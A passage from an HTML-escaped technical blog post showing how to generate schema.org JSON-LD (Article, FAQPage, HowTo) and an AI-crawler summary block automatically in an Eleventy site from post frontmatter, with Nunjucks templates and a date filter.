  &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your Blog Title"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"A technical blog about development and AI tools"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://your-domain.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"language"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"en"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"author"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your Name"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://your-domain.com/about/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"contact@your-domain.com"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"logo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://your-domain.com/images/logo.png"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 2. Article Schema - Automatic for Every Post
&lt;/h2&gt;

&lt;p&gt;Create &lt;code&gt;_includes/schema-article.njk&lt;/code&gt;. It reads &lt;code&gt;title&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;date&lt;/code&gt;, and &lt;code&gt;thumbnail&lt;/code&gt; from the current page's frontmatter and generates valid JSON-LD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{%- if title and page.url -%}
&amp;lt;script type="application/ld+json"&amp;gt;
{
  "@context": "https://schema.org",
  "@type": "Article",
  "headline": {{ title | dump | safe }},
  "description": {{ description | dump | safe }},
  "datePublished": "{{ date | dateToISO }}",
  "dateModified": "{{ date | dateToISO }}",
  "author": {
    "@type": "Person",
    "name": {{ metadata.author.name | dump | safe }},
    "url": {{ metadata.author.url | dump | safe }}
  },
  "publisher": {
    "@type": "Organization",
    "name": {{ metadata.title | dump | safe }},
    "url": {{ metadata.url | dump | safe }},
    "logo": {
      "@type": "ImageObject",
      "url": {{ metadata.logo | dump | safe }}
    }
  },
  "mainEntityOfPage": {
    "@type": "WebPage",
    "@id": {{ (metadata.url + page.url) | dump | safe }}
  }
  {%- if thumbnail -%}
  ,
  "image": {{ (metadata.url + "/" + thumbnail.image) | dump | safe }}
  {%- endif -%}
}
&amp;lt;/script&amp;gt;
{%- endif -%}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The &lt;code&gt;dateToISO&lt;/code&gt; Filter in &lt;code&gt;.eleventy.js&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Eleventy doesn't have a built-in ISO filter. Add this to &lt;code&gt;.eleventy.js&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;exports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;eleventyConfig&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="c1"&gt;// Filter: Date → ISO 8601 string for JSON-LD&lt;/span&gt;
  &lt;span class="nx"&gt;eleventyConfig&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addFilter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dateToISO&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// ... other settings&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Adding to the Base Layout
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;_includes/base.njk&lt;/code&gt; or &lt;code&gt;_includes/layouts/post.njk&lt;/code&gt;, inside the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}&amp;lt;head&amp;gt;
  &amp;lt;meta charset="UTF-8"&amp;gt;
  &amp;lt;title&amp;gt;{{ title }} | {{ metadata.title }}&amp;lt;/title&amp;gt;
  &amp;lt;meta name="description" content="{{ description }}"&amp;gt;

  {# ── GEO Schema Markup ──────────────────────────── #}
  {% include "schema-article.njk" %}
  {% include "schema-faq.njk" %}
  {% include "schema-howto.njk" %}

&amp;lt;/head&amp;gt;{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every new post now automatically gets Article Schema with no additional effort.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3. FAQPage Schema via a Frontmatter Array
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The idea:&lt;/strong&gt; FAQ questions and answers are defined directly in the post's frontmatter. The template generates the Schema automatically, and the same data renders the HTML FAQ section on the page.&lt;/p&gt;

&lt;h3&gt;
  
  
  Frontmatter Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Post&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Title"&lt;/span&gt;
&lt;span class="na"&gt;faq&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;What&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;and&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;how&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;does&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;it&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;differ&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;from&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SEO?"&lt;/span&gt;
    &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;optimization&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;citation&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;AI&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;responses;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;is&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ranking&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;search&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;results."&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Which&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;AI&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;bots&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;should&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;be&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;allowed&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;robots.txt?"&lt;/span&gt;
    &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GPTBot,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;PerplexityBot,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Google-Extended,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ClaudeBot,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;anthropic-ai,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;FacebookBot."&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;q&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Are&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;and&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;compatible?"&lt;/span&gt;
    &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Yes,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;most&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;techniques&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;reinforce&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;classical&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SEO."&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Template &lt;code&gt;_includes/schema-faq.njk&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{%- if faq and faq.length -%}
&amp;lt;script type="application/ld+json"&amp;gt;
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {%- for item in faq -%}
    {
      "@type": "Question",
      "name": {{ item.q | dump | safe }},
      "acceptedAnswer": {
        "@type": "Answer",
        "text": {{ item.a | dump | safe }}
      }
    }{% if not loop.last %},{% endif %}
    {%- endfor -%}
  ]
}
&amp;lt;/script&amp;gt;
{%- endif -%}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Rendering the FAQ Section from the Same Data
&lt;/h3&gt;

&lt;p&gt;In the post template (in &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;, not &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{%- if faq and faq.length -%}
&amp;lt;section&amp;gt;
  &amp;lt;h2&amp;gt;Frequently Asked Questions&amp;lt;/h2&amp;gt;
  {%- for item in faq -%}
  &amp;lt;details&amp;gt;
    &amp;lt;summary&amp;gt;&amp;lt;strong&amp;gt;{{ item.q }}&amp;lt;/strong&amp;gt;&amp;lt;/summary&amp;gt;
    &amp;lt;p&amp;gt;{{ item.a }}&amp;lt;/p&amp;gt;
  &amp;lt;/details&amp;gt;
  {%- endfor -%}
&amp;lt;/section&amp;gt;
{%- endif -%}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One frontmatter array → Schema for Google/AI &lt;strong&gt;and&lt;/strong&gt; HTML for readers. Synchronization is guaranteed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 4. HowTo Schema for Step-by-Step Guides
&lt;/h2&gt;

&lt;p&gt;Add to the frontmatter of guide posts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;howto&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;How&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Set&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Up&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Deployment"&lt;/span&gt;
  &lt;span class="na"&gt;totalTime&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PT1H"&lt;/span&gt;
  &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Generate&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Keys"&lt;/span&gt;
      &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Run&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssh-keygen&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-t&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ed25519&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-C&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;deploy@mysite.com&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;on&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;your&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;local&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;machine."&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Copy&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Key&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;to&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Server"&lt;/span&gt;
      &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Use&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssh-copy-id&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-i&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;~/.ssh/key.pub&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;user@server-ip&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;authorization."&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Set&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Up&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;a&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Git&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Bare&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Repository"&lt;/span&gt;
      &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;On&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;the&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;server&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;run&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;mkdir&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-p&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;~/repos/mysite.git&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;init&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;--bare."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Template &lt;code&gt;_includes/schema-howto.njk&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{%- if howto and howto.steps -%}
&amp;lt;script type="application/ld+json"&amp;gt;
{
  "@context": "https://schema.org",
  "@type": "HowTo",
  "name": {{ howto.name | dump | safe }},
  "totalTime": {{ howto.totalTime | dump | safe }},
  "step": [
    {%- for step in howto.steps -%}
    {
      "@type": "HowToStep",
      "position": {{ loop.index }},
      "name": {{ step.name | dump | safe }},
      "text": {{ step.text | dump | safe }}
    }{% if not loop.last %},{% endif %}
    {%- endfor -%}
  ]
}
&amp;lt;/script&amp;gt;
{%- endif -%}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 5. Automatic BLUF Block
&lt;/h2&gt;

&lt;p&gt;Instead of writing the BLUF by hand in every post, move the bullet points into a frontmatter array &lt;code&gt;bluf&lt;/code&gt; and let the template render it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Frontmatter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;bluf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;**Goal:**&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;automate&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;GEO&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;markup&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;so&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;we&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;never&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;write&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;JSON-LD&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;by&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;hand."&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;**Time:**&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;2&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;hours&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;of&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;setup,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;then&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;minutes&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;per&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;new&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;post."&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;**Stack:**&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Eleventy&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;(11ty)&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Nunjucks&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;includes&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;addShortcode&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;in&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;.eleventy.js."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Template &lt;code&gt;_includes/bluf.njk&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}{%- if bluf and bluf.length -%}
&amp;lt;div class="tldr"&amp;gt;
  &amp;lt;div class="tldr-title"&amp;gt;BLUF - Summary for AI Crawlers&amp;lt;/div&amp;gt;
  &amp;lt;ul&amp;gt;
  {%- for item in bluf -%}
    &amp;lt;li&amp;gt;{{ item | markdownify | safe }}&amp;lt;/li&amp;gt;
  {%- endfor -%}
  &amp;lt;/ul&amp;gt;
&amp;lt;/div&amp;gt;
{%- endif -%}{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Include it at the top of the post template, right after &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{% raw %}&amp;lt;article&amp;gt;
  {# H1 is rendered from frontmatter title via layout - don't duplicate it #}
  {% include "bluf.njk" %}
  {{ content | safe }}
&amp;lt;/article&amp;gt;{% endraw %}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The &lt;code&gt;markdownify&lt;/code&gt; Filter
&lt;/h3&gt;



